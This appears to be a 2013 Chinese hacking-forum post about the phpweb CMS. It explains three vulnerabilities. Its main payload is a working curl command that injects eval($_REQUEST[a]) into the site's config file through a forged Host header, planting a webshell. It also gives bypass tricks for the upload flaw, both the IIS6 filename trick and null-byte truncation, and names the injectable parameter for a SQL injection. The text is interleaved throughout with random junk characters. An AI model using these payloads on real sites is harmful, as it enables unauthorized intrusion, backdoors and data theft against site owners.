找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2443|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
- ^+ o! g$ x; B- y) i& O
! p+ C4 V1 B0 g9 j" o- k- _" n之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码  ]4 L* F; l: u8 n+ U7 M7 Q
8 S$ q1 m' ?$ _% Y
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件; e( e* k( t9 c2 B& W+ V
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
0 I6 J' i2 v  s' x( c* }% }. I % b, ?! \. P- X- W4 t* w6 `
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 d0 P* E9 G* j/ i/ F; j. ?9 _% z3 s

5 H  u6 B# Z$ Q: T分析:1 X8 W. O" o; p. {

5 l7 }2 ]6 N3 V4 v$ c " r! q4 R9 r/ Z4 y, X/ S( `
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤- H8 S/ s# ]5 [# I( q

& }% W) Q% G+ n3 Y                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
8 S) o0 G* B3 H6 }. R" p$ \7 Y                                            $filestr=str_replace(" ","",$filestr);/ N# m: r+ G- P6 Y. {5 R& E
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
4 U9 w1 M- F$ `9 F9 b) ]+ C                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);' ^# O# [7 u5 I1 ~7 u; p
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
- H$ _" c& O+ Q                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
3 o( Q! c. ]2 [7 G9 C- U                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);, X2 |- e% X& k# P$ J0 p. B
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);  K5 F+ X8 A7 V9 Z2 N- F! ?
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
# L& Z. `1 T/ S( d  M
( Y2 j/ ]" w& q% g                                            fwrite(fopen($ConFile,"w"),$filestr,30000);/ D( Y! j9 F. C2 V9 d1 U9 e- E- Q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
/ J( I: n2 j, N& q 5 p; K- ~! W$ Z: V! X
poc:. i! i& b: m' ]  S& Z0 Y/ Y

( i& [: ~2 K2 e1 J6 C$ _?
  p2 [& v, i5 p1 Y! I11 f/ r! u5 o- N' I
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": r; `. {$ g5 \2 I) [
shell地址: /config.inc.php+ P1 Q% `  D/ \; @, T0 m, p( D+ x3 X
跟之前的 phpcms一样 需要远程数据库" e( Y: I, q5 l/ v; j; `
- Q% a; R+ R2 {1 a
——————————————————–
5 O) \$ ^$ G$ F1 `4 x上传漏洞(需要进后台):" n3 r9 T% b- S3 R
漏洞文件: /kedit/upload_cgi/upload.php
0 c6 T. c4 }- p. b% S: E# n& ~# I这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
' k) D- X( c5 p& v  b1 g 5 Z, o0 C# d( \8 k" r4 t. l

7 H2 r; {% g0 z; o- Y$ x<?php
" [, E7 A# p5 B' q% g    define("ROOTPATH", "../../");
, z/ [: F1 i) s- ]    include(ROOTPATH."includes/admin.inc.php");
: P$ l% c, O" G3 @( G) l+ v    NeedAuth(0);( U& Z% U( f( A7 P
! B3 ?. Y9 {1 Q$ x8 C) i# a! X
    $dt=date("Ymd",time());
- g: X! T' O. O' ?    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
+ C8 B1 D* x. ?" n& ~3 _6 D5 q& z& `            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
9 w! _5 a/ @  w: \" m/ B, Y    }
3 M1 q- J; [4 t. k' T. K7 U% |0 b
9 {5 o* N. T! M$ j& g    //文件保存目录路径( l5 D* u8 L8 H! {+ |0 u6 m
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';2 L& I  Y4 |1 ~; @* L
    echo $save_path;
7 G9 _1 [# S. y    //文件保存目录URL
+ v) p  m/ q+ Q    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
& L4 ^6 e( t7 b* a7 X
2 Z1 n# s+ H; E    //定义允许上传的文件扩展名2 O' y% C6 B. t3 s# }
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
5 _0 k; e3 `6 o* {& h: U( v% } 8 b6 h4 d. h8 k+ E/ `+ L/ L
    //最大文件大小
; T) Z: H1 [* T0 K    $max_size = 1000000;! X4 {7 _4 x( K4 C: Q" N4 e

) L" ^/ p1 u' F! K2 ~; e( Q    //更改目录权限% r+ T9 B% i3 s* T  k
    @mkdir($save_path, 0777);$ |% h) k8 w, S: u
+ r4 E: \% B" ?5 |& o
    //文件的全部路径. H5 ~2 ^# Y/ a
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
* \. M% P8 e* b; @- @
! k% D% p; U( F" H# w2 g$ v* A2 D5 P    //文件URL
: h4 l1 r) M. E" D2 K3 t    $file_url = $save_url.$_POST['fileName'];7 o" C% G2 D) I
//有上传文件时1 e6 r6 F6 I2 n& x# u
    if (empty($_FILES) === false) {
& e+ p9 I' n; z8 |
( ^& C3 O- Q# t1 T            //原文件名6 Z7 d9 m% F; @) {- C; M1 E" s
            $file_name = $_FILES['fileData']['name'];& F- t; |# `, _, B( _' m# t% h2 S
            //服务器上临时文件名
7 p6 |$ [& u- u; a* v$ k            $tmp_name = $_FILES['fileData']['tmp_name'];
% s- [4 \+ [; Z" v+ L3 o. F' p            //文件大小
6 |7 y% U. F% O) ^9 ~3 O) V8 \            $file_size = $_FILES['fileData']['size'];- a% c( h0 x# C6 B4 d5 x3 ~& U
            //检查目录
# s5 U5 b9 z  M            if (@is_dir($save_path) === false) {# C' s: `9 F3 Q& g2 H. f
                    alert("上传目录不存在。");
# [4 ^5 H; _$ |2 X- H  i5 U            }
+ N7 E1 Z: Y7 ^5 l9 j            //检查目录写权限! Q0 h& d4 T3 V; d3 z& b
            if (@is_writable($save_path) === false) {
: Z4 O) H% Y) n6 t                    alert("上传目录没有写权限。");
( K/ y- s# l8 H4 L% \2 q            }
# e: j1 B8 a# K            //检查是否已上传
2 u& w* |% l5 a$ A- }            if (@is_uploaded_file($tmp_name) === false) {6 ~4 Y2 k, L5 U7 \  R
                    alert("临时文件可能不是上传文件。");7 K  ^- s3 P3 g, q7 Z9 G
            }4 H3 h4 M* O  I; E5 U0 I5 y2 \5 i$ F
            //检查文件大小& c' _% u" W/ u8 x/ R
            if ($file_size > $max_size) {. c+ n7 i: w6 T( T8 \! e
                    alert("上传文件大小超过限制。");
- p! x7 N$ J( y            }0 L3 D4 N% U$ Z- F" p* U
            //获得文件扩展名
! J1 g. h, k+ J/ z: ?5 K. s* i" z            $temp_arr = explode(".", $_POST['fileName']);
/ d9 I. w3 S- X2 M4 \. G            $file_ext = array_pop($temp_arr);5 Q- T9 O3 j) ]; P5 J) C
            $file_ext = trim($file_ext);  a8 ^( W, K9 X. t
            $file_ext = strtolower($file_ext);& s0 Y8 A. p* I
  h5 q2 w# q5 d5 E. G5 g0 x; s
            //检查扩展名   
5 t9 ~6 a6 h- C: {$ Z1 F$ b: u            if (in_array($file_ext, $ext_arr) === false) {     . U3 F5 x& J; C
                    alert("上传文件扩展名是不允许的扩展名。");
+ N+ m' d" o" _8 Z$ a1 a; K/ q            }
, G- T2 J' H+ P/ B1 z/ R 5 U! T; U- e3 y0 O
            //移动文件   
* f2 h9 U  y7 M% [  T$ P            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^9 I0 B; f5 E6 q( G0 U0 x+ w8 x
            if (move_uploaded_file($tmp_name, $file_path) === false) {
) J  B. R3 t9 t; U: z' @                    alert("上传文件失败。");
  f9 ?) b, T6 V$ m- U  {5 }% I            }- }1 a. g2 t8 y- f3 `
& j! ^5 L, c9 m* \# Z3 b
            @chmod($file_path,0666);) p& k* P/ ]; n+ b
) ]; o: t7 w5 F1 s4 d6 |. y
    ?>
4 J& m3 T$ z' y0 O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227- v4 G2 Y$ t1 R

! P/ x+ [' h  p4 v4 japache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
. Z$ K+ m9 K& A
$ l. c5 v2 a+ g) x; p——————————————————, V1 Q7 G1 ^, ]# M
注入漏洞:* {9 A! @9 [# V+ a
漏洞文件:search/module/search.php
+ z3 ^- V- H  T1 F/ ~# k$ U/search/index.php?key=1&myord=1 [sqlinjection]
; x+ T2 ?& L- c, P. y
5 W  g" W) u& g% L+ ?
- a4 q9 L; }0 m$ ?! [<?php
& q! g7 p4 e, t* i   //       ... 省略 n 行...
& |6 l( b7 ~0 K9 B) ]2 p- e3 W   //第18行:* J$ n1 x" Q: S
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响. d$ F4 p; o- T8 @' T
           $page=htmlspecialchars($_GET["page"]);; u, ~, M) B+ S, O* ?! r( ~
           $myord=htmlspecialchars($_GET["myord"]);; g9 W! @% f( {2 C- R+ G

# L  ^& x- v" z5 n8 P" j   //       ... 省略 n 行...
' f" v1 |0 H- a6 n9 |   $key,$myord 两个参数带入查询
# [: i: a9 [+ u; x   //第47行 $key:5 P* s7 A2 m4 j7 s; t9 {

1 t" a" G6 `: P& p0 s   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..' \" D( f+ h7 Y7 ?0 {# l! _) c

0 ?/ i) @7 ~  X. U! E( f   //第197行 $myord# q/ a4 Y  b6 ^
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入2 f& F6 a' h, V+ k. K  Q4 x
/ J9 T/ a% ~- s* R
   ?>
+ r  u. H; w2 H  Y) p) x# `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表